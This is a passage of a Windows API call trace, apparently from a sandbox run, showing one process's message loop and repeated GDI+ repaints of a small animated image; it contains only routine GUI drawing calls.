[0169.630] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x540106c6) returned 0x0 [0169.630] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbae0dbd) returned 0x0 [0169.631] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.631] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0169.631] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.631] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.631] GetSystemMetrics (nIndex=42) returned 0 [0169.631] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.631] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.631] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.631] CoTaskMemFree (pv=0x1e91eca0) [0169.631] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0169.631] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0169.631] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0169.631] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0169.631] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x540106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0169.632] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.632] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x540106c6) returned 0x0 [0169.632] SelectObject (hdc=0x540106c6, h=0x185000f) returned 0x1a05067e [0169.632] DeleteDC (hdc=0x540106c6) returned 1 [0169.632] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.632] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0169.632] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0169.632] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0169.632] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.632] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.632] WaitMessage () returned 1 [0169.748] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.748] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.748] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.748] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.748] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.748] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0169.748] GetCurrentThreadId () returned 0xec0 [0169.749] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0169.749] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.749] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.749] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.749] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.749] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.749] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0169.749] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0169.749] CreateCompatibleDC (hdc=0x1010b9d) returned 0x550106c6 [0169.749] SelectObject (hdc=0x550106c6, h=0x1a05067e) returned 0x185000f [0169.750] GdipCreateFromHDC (hdc=0x550106c6, graphics=0x15daf0) returned 0x0 [0169.750] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0169.750] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0169.750] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0169.750] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0169.750] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0169.750] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.750] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0169.751] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.751] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.751] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0169.751] GdipCreateRegion (region=0x15dc20) returned 0x0 [0169.751] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0169.752] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0169.752] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0169.752] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.752] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.752] GetSystemMetrics (nIndex=42) returned 0 [0169.752] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.752] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.752] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.752] CoTaskMemFree (pv=0x1e91eca0) [0169.752] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0169.752] GdipCreateRegion (region=0x15d710) returned 0x0 [0169.752] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0169.753] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0169.753] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0169.753] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0169.753] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.753] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.753] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.753] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0169.754] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.754] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.754] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.754] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.754] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0169.754] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0169.754] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0169.754] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0169.755] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.755] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0169.755] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0169.755] GetCurrentObject (hdc=0x550106c6, type=0x1) returned 0x1b00017 [0169.755] GetCurrentObject (hdc=0x550106c6, type=0x2) returned 0x1900010 [0169.755] GetCurrentObject (hdc=0x550106c6, type=0x7) returned 0x1a05067e [0169.755] GetCurrentObject (hdc=0x550106c6, type=0x6) returned 0x18a002e [0169.755] SaveDC (hdc=0x550106c6) returned 1 [0169.755] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x15040b8a [0169.755] GetClipRgn (hdc=0x550106c6, hrgn=0x15040b8a) returned 0 [0169.755] SelectClipRgn (hdc=0x550106c6, hrgn=0x450407c3) returned 2 [0169.755] DeleteObject (ho=0x15040b8a) returned 1 [0169.756] DeleteObject (ho=0x450407c3) returned 1 [0169.756] OffsetViewportOrgEx (in: hdc=0x550106c6, x=0, y=0, lppt=0x273fcb8 | out: lppt=0x273fcb8) returned 1 [0169.756] GetNearestColor (hdc=0x550106c6, color=0xffffff) returned 0xffffff [0169.756] CreateSolidBrush (color=0xffffff) returned 0x1d100190 [0169.756] FillRect (hDC=0x550106c6, lprc=0x15d7c0, hbr=0x1d100190) returned 1 [0169.756] DeleteObject (ho=0x1d100190) returned 1 [0169.756] RestoreDC (hdc=0x550106c6, nSavedDC=-1) returned 1 [0169.756] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.756] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x550106c6) returned 0x0 [0169.756] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbac0dbd) returned 0x0 [0169.757] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.757] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0169.757] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.757] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.757] GetSystemMetrics (nIndex=42) returned 0 [0169.757] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.757] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.757] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.757] CoTaskMemFree (pv=0x1e91eca0) [0169.757] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0169.759] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0169.759] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0169.759] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0169.759] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0169.759] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x550106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0169.759] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.759] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x550106c6) returned 0x0 [0169.759] SelectObject (hdc=0x550106c6, h=0x185000f) returned 0x1a05067e [0169.759] DeleteDC (hdc=0x550106c6) returned 1 [0169.759] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.759] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0169.759] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0169.760] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0169.760] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.760] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.760] WaitMessage () returned 1 [0169.872] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.872] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.872] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.872] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.872] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.873] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0169.873] GetCurrentThreadId () returned 0xec0 [0169.873] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0169.873] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.873] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.873] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.873] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.873] DispatchMessageW (lpMsg=0x15e910) returned 0x1 [0169.873] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0169.873] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0169.873] CreateCompatibleDC (hdc=0x1010b9d) returned 0x560106c6 [0169.874] SelectObject (hdc=0x560106c6, h=0x1a05067e) returned 0x185000f [0169.874] GdipCreateFromHDC (hdc=0x560106c6, graphics=0x15daf0) returned 0x0 [0169.874] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0169.874] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0169.874] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0169.874] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0169.874] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0169.874] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.874] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0169.875] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.875] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.875] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0169.875] GdipCreateRegion (region=0x15dc20) returned 0x0 [0169.875] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0169.875] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0169.875] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0169.875] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.875] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.876] GetSystemMetrics (nIndex=42) returned 0 [0169.876] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.876] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.876] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.876] CoTaskMemFree (pv=0x1e91eca0) [0169.876] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0169.876] GdipCreateRegion (region=0x15d710) returned 0x0 [0169.876] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0169.876] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0169.876] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0169.876] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0169.876] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.876] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.877] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.877] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0169.877] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.877] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.877] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.877] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.877] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0169.877] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0169.878] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0169.878] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0169.878] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.878] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0169.878] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0169.878] GetCurrentObject (hdc=0x560106c6, type=0x1) returned 0x1b00017 [0169.878] GetCurrentObject (hdc=0x560106c6, type=0x2) returned 0x1900010 [0169.878] GetCurrentObject (hdc=0x560106c6, type=0x7) returned 0x1a05067e [0169.878] GetCurrentObject (hdc=0x560106c6, type=0x6) returned 0x18a002e [0169.878] SaveDC (hdc=0x560106c6) returned 1 [0169.878] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x460407c3 [0169.878] GetClipRgn (hdc=0x560106c6, hrgn=0x460407c3) returned 0 [0169.878] SelectClipRgn (hdc=0x560106c6, hrgn=0x16040b8a) returned 2 [0169.878] DeleteObject (ho=0x460407c3) returned 1 [0169.879] DeleteObject (ho=0x16040b8a) returned 1 [0169.879] OffsetViewportOrgEx (in: hdc=0x560106c6, x=0, y=0, lppt=0x2740fb0 | out: lppt=0x2740fb0) returned 1 [0169.879] GetNearestColor (hdc=0x560106c6, color=0xffffff) returned 0xffffff [0169.879] CreateSolidBrush (color=0xffffff) returned 0x1e100190 [0169.879] FillRect (hDC=0x560106c6, lprc=0x15d7c0, hbr=0x1e100190) returned 1 [0169.879] DeleteObject (ho=0x1e100190) returned 1 [0169.879] RestoreDC (hdc=0x560106c6, nSavedDC=-1) returned 1 [0169.879] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.880] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x560106c6) returned 0x0 [0169.880] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbaa0dbd) returned 0x0 [0169.880] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.880] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0169.880] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.880] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.880] GetSystemMetrics (nIndex=42) returned 0 [0169.880] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.880] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.880] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.880] CoTaskMemFree (pv=0x1e91eca0) [0169.880] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0169.880] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0169.880] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0169.880] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0169.880] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x560106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0169.881] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.881] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x560106c6) returned 0x0 [0169.881] SelectObject (hdc=0x560106c6, h=0x185000f) returned 0x1a05067e [0169.881] DeleteDC (hdc=0x560106c6) returned 1 [0169.881] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.881] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0169.881] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0169.881] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0169.881] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.882] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.882] WaitMessage () returned 1 [0169.999] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.999] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.999] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.999] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.999] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.999] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0169.999] GetCurrentThreadId () returned 0xec0 [0169.999] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0169.999] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.999] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.999] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.999] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.999] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.999] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0170.000] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0170.000] CreateCompatibleDC (hdc=0x1010b9d) returned 0x570106c6 [0170.000] SelectObject (hdc=0x570106c6, h=0x1a05067e) returned 0x185000f [0170.000] GdipCreateFromHDC (hdc=0x570106c6, graphics=0x15daf0) returned 0x0 [0170.000] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0170.000] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0170.000] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0170.000] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0170.000] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0170.000] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.000] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0170.001] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.001] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.001] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0170.001] GdipCreateRegion (region=0x15dc20) returned 0x0 [0170.001] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0170.002] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0170.002] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0170.002] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.002] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.002] GetSystemMetrics (nIndex=42) returned 0 [0170.002] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.002] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.002] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.002] CoTaskMemFree (pv=0x1e91eca0) [0170.002] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0170.002] GdipCreateRegion (region=0x15d710) returned 0x0 [0170.002] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0170.003] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0170.003] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0170.003] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0170.003] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.003] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.003] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.004] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0170.004] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.004] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.004] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.004] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.004] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0170.004] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0170.004] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0170.004] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0170.005] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.005] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0170.005] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0170.005] GetCurrentObject (hdc=0x570106c6, type=0x1) returned 0x1b00017 [0170.005] GetCurrentObject (hdc=0x570106c6, type=0x2) returned 0x1900010 [0170.005] GetCurrentObject (hdc=0x570106c6, type=0x7) returned 0x1a05067e [0170.005] GetCurrentObject (hdc=0x570106c6, type=0x6) returned 0x18a002e [0170.005] SaveDC (hdc=0x570106c6) returned 1 [0170.005] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x17040b8a [0170.005] GetClipRgn (hdc=0x570106c6, hrgn=0x17040b8a) returned 0 [0170.005] SelectClipRgn (hdc=0x570106c6, hrgn=0x470407c3) returned 2 [0170.005] DeleteObject (ho=0x17040b8a) returned 1 [0170.005] DeleteObject (ho=0x470407c3) returned 1 [0170.005] OffsetViewportOrgEx (in: hdc=0x570106c6, x=0, y=0, lppt=0x27418e8 | out: lppt=0x27418e8) returned 1 [0170.006] GetNearestColor (hdc=0x570106c6, color=0xffffff) returned 0xffffff [0170.006] CreateSolidBrush (color=0xffffff) returned 0x1f100190 [0170.006] FillRect (hDC=0x570106c6, lprc=0x15d7c0, hbr=0x1f100190) returned 1 [0170.006] DeleteObject (ho=0x1f100190) returned 1 [0170.006] RestoreDC (hdc=0x570106c6, nSavedDC=-1) returned 1 [0170.006] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.006] 